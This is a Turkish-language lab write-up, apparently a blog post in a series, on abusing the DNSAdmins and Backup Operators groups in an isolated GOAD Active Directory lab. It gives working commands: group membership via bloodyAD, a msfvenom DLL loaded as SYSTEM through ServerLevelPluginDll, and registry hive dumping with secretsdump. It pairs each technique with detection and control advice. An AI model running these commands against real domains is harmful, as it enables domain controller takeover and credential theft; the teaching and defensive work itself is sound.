Exploit değil — gruplar
Bu serinin ilk dört bölümü kimlik bilgileri, ACL’ler, güvenler ve sertifikalar üzerinden ilerledi. Son iki teknik ise farklıdır: bunlar yerleşik ayrıcalıklı gruplardır ve üyelikleri başlı başına zafiyettir. Bir kullanıcıya yanlış grubu verdiğinde, arada tek bir exploit olmadan Domain Controller üzerinde SYSTEM’e giden bir yol vermiş olursun. Bu yüzden bu iki teknik, zafiyet avından çok yetki modelini anlama meselesidir. Bir yazılım açığı yamayla kapanır; yanlış verilmiş bir grup üyeliği ise ancak fark edilip geri alınarak kapanır. Bu ayrım, savunmanın neden envanter ve denetim üzerine kurulması gerektiğini de açıklar.
İkisinin de kalıbı aynıdır, bu yüzden yalnızca bir kez göstereceğim: zaten Domain Admin olduğum için gruba bir test hesabı ekliyorum, ardından istismarı o hesabın bakış açısından yürütüyorum. Amaç, gerçek bir saldırganın eline geçen tek bir grup üyeliğinin nelere dönüşebileceğini göstermek.
DNSAdmins: SYSTEM olarak yüklenen bir DLL
DNSAdmins üyeleri, Domain Controller üzerindeki DNS servisini yönetebilir. Tehlikeli kısım tek bir ayardır: ServerLevelPluginDll, DNS servisine başlangıçta rastgele bir DLL yüklemesini söyler. DNS servisi SYSTEM olarak çalıştığı için seçtiğin DLL de SYSTEM olarak çalışır. Saldırının tamamı bundan ibarettir: ayrıcalıklı bir servisin yüklediği kod, servisin sahip olduğu tüm yetkileri devralır. Burada zafiyet DLL’in kendisinde değil, o DLL’in yolunu değiştirebilme yetkisindedir.
Önce gruba bir kullanıcı ekliyorum ve DLL’i üretiyorum. msfvenom, DllMain içinde yükleme anında bir komut çalıştıran bir DLL üretir. Windows bir DLL’i yüklediğinde DllMain fonksiyonunu çağırır; saldırı da tam olarak bu otomatik çağrıya yaslanır, ayrıca bir tetikleyiciye ihtiyaç duymaz:
$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u Administrator -p "aad3b...a1705e" add groupMember "DnsAdmins" backup.ops
[+] backup.ops added to DnsAdmins
$ msfvenom -p windows/x64/exec CMD="cmd /c whoami > C:\Windows\Temp\dns-pwned.txt" -f dll -o evil.dll
Payload size: 314 bytes
Final size of dll file: 9216 bytes
DLL DC’ye konur ve plugin yolu dnscmd.exe ile ayarlanır:
$ dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\evil.dll
Registry property serverlevelplugindll successfully reset.
DNS servisini yeniden başlattığında DLL, servisin SYSTEM bağlamında yüklenir:
$ sc stop dns && sc start dns
...
$ dir C:\Windows\Temp\dns-pwned.txt
11/04/2026 08:16 AM 0 dns-pwned.txt
Dosyanın belirmesi, payload’ın DNS servisinin process’i içinde çalıştığını gösterir — yani bir Domain Controller üzerinde SYSTEM yetkisiyle. Gerçek bir payload (net user, bir beacon ya da reverse shell) whoami komutunun yerini alır; sonuç, yalnızca bir grup üyeliğinden elde edilen tam DC ele geçirmesidir.
Açıkça belirtmeye değer tek şey tetikleyicidir. dnscmd.exe, ayarın üzerinde taşındığı DNS-RPC protokolünü konuşan istemcidir ve bir Windows binary’sidir. Gerçek bir saldırıda DNSAdmins üyesi bu komutu kendi makinesinden DC’ye karşı çalıştırır (dnscmd.exe \\DC /config /serverlevelplugindll \\attacker\share\evil.dll). Bu laboratuvarda saldırı makinesinde Windows istemci bulunmadığından, mekanizmayı göstermek için aynı komutu doğrudan DC üzerinde çalıştırdım. Önemli olan ayrıcalık sınırı bu durumdan etkilenmez: asıl soru, hangi hesapların o değeri ayarlamasına izin verildiğidir.
Tespit: HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters altındaki ServerLevelPluginDll değişikliği alarm vermeye değecek kadar nadirdir; DNS servisinin geçici bir yoldan imzasız bir DLL yüklemesi ise asıl sinyaldir. Bu iki olayın aynı zaman aralığında birlikte görülmesi ise neredeyse kesin bir saldırı işaretidir.
Kontrol: DNSAdmins üyeliğini denetle (ideal olarak boş olmalı) ve lsass’a komşu servislerin enjekte edilmesini zorlaştırmak için LSA Protection’ı etkinleştir. Grup üyeliğini yalnızca DNS yönetimi gerçekten gerektiğinde, süreli ve gerekçeli olarak ver.
Backup Operators: işletim sisteminin gizlediğini oku
Backup Operators üyeleri SeBackupPrivilege ve SeRestorePrivilege ayrıcalıklarını taşır. Bu ayrıcalık, yedekleme yazılımının normalde erişemeyeceği dosyaları okumasını sağlamak için tasarlanmıştır — ve etkisi iki yönlüdür: gruptaki bir saldırgan ntds.dit dosyasını, SAM kovanını ve SYSTEM/SECURITY kovanlarını okuyabilir. Klasik zincir, bir registry save işlemi ardından çevrimdışı dump almaktır. Kovanları dosyaya çıkardıktan sonra hash’leri kendi makinen üzerinde, DC’ye hiç dokunmadan çıkarabilirsin; bu da tespit edilmeyi zorlaştırır:
$ reg.exe save HKLM\SAM C:\temp\sam
$ reg.exe save HKLM\SYSTEM C:\temp\system
$ secretsdump.py -sam sam -system system LOCAL
Bu laboratuvarda hesabı ekleyip Backup Operators üyeliğini doğrulayabildim, ancak uzak registry save işlemi access-denied döndü. Bu, SeBackupPrivilege ayrıcalığının belirli bir işlem için etkinleştirilmesi gereken bir token ayrıcalığı olduğunu ve uzak winreg yolunun her zaman yerel yol kadar izin verici olmadığını hatırlatır. Yani ayrıcalığa sahip olmak, onu her bağlamda kullanabileceğin anlamına gelmez; erişim yolu ve token durumu da işin parçasıdır. Teknik burada tam komutlarla belgelenmiştir ve dürüst sonuç şudur: grup üyeliği zafiyetin kendisidir, uzak pürüz ise ortama özgü bir ayrıntıdır.
Tespit: yedekleme dışı hesapların SAM/SYSTEM/SECURITY okumasını ya da bu kovanlara karşı çalıştırılan reg save komutunu izle. Normalde yedekleme penceresi dışında bu kovanlara erişilmesi güçlü bir uyarı işaretidir.
Kontrol: Backup Operators üyeliğini denetle ve grubu yalnızca gerçek yedekleme servis hesaplarıyla sınırla. İnsan hesaplarının bu grupta bulunması, çoğu ortamda gereksiz ve riskli bir alışkanlıktır.
Bu ikisinin kapsamadığı boşluk
Bu iki teknik, ağ relay primitifi değildir. Kalan GOAD yüzeyi — LLMNR/NBT-NS zehirleme, NTLM relay ve yazıcı zorlama (printer coercion) — saldırganın hedeflerle aynı katman-2 segmentinde oturmasını gerektirir. Kali makinem laboratuvar alt ağına routed bağlı, bridged değil; bu yüzden bu teknikler burada hiç gösterilemiyor. Bunlar ayrı bir kategoridir: grup istismarı değil, ağ konumu istismarıdır ve gerektirdikleri topolojiyle birlikte kendi notlarını hak eder. Bir saldırganın aynı L2 segmentinde olması, bu tekniklerin ön koşuludur; segment değiştiğinde saldırı da tamamen değişir.
Özet
| Grup | Yetki | İstismar | Sonuç |
|---|---|---|---|
DNSAdmins | DNS servisini yönet | ServerLevelPluginDll → DLL | DC’de SYSTEM |
Backup Operators | SeBackupPrivilege | SAM/SYSTEM/SECURITY oku | çevrimdışı hash dump |
Birleştirici kontrol, seri boyunca tekrar eden kontrolle aynıdır: grup üyeliği, bir parola gibi denetlemen gereken bir ayrıcalıktır. Bu iki grup boş ya da sıkı biçimde kapsamlandırılmış olmalıdır, çünkü tüm işleri “tek hesap” ile “tüm makine” arasındaki sınırı geçmektir. Bir grup üyeliğinin fark edilmeden aylarca kalması, teknik olarak tek bir zafiyetten daha tehlikeli olabilir. Çünkü zafiyet yamalanana kadar bekler, grup üyeliği ise saldırganın her an kullanabileceği kalıcı bir kapıdır. Bu yüzden ölçüm, yalnızca “grup boş mu” değil, “bu üyelik en son ne zaman ve neden verildi” sorusunu da kapsamalıdır.
DNSAdmins SYSTEM DNS servisine kod yükler; Backup Operators korunan kimlik bilgisi depolarını okur.Kanıt ve sınırlar
DNSAdmins eklenti DLL yüklemesi, izole GOAD laboratuvarındaki KINGSLANDING (192.168.56.10) üzerinde gruba özel bir test hesabı (backup.ops) eklenerek doğrulanmıştır. Saldırı makinesi, domain’e katılmış bir Windows iş istasyonu yerine Linux çalıştırdığından, ServerLevelPluginDll mekanizmasını göstermek üzere dnscmd.exe doğrudan DC üzerinde çalıştırılmıştır. Backup Operators tarafında ise Kali üzerinden karşılaşılan uzak winreg kayıt kısıtlaması gözlemlendiği şekliyle belgelenmiş ve test sonrasında laboratuvar temiz snapshot durumuna döndürülmüştür.
Referanslar
- Sean Metcalf, ADSecurity — Abuse of the DNSAdmins Group: adsecurity.org/?p=4064
- The Hacker Recipes, Security groups (DNSAdmins, Backup Operators): thehacker.recipes/ad/movement/builtins/security-groups
- MITRE ATT&CK, Account Manipulation (T1098): attack.mitre.org/techniques/T1098
- MITRE ATT&CK, OS Credential Dumping (T1003): attack.mitre.org/techniques/T1003
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

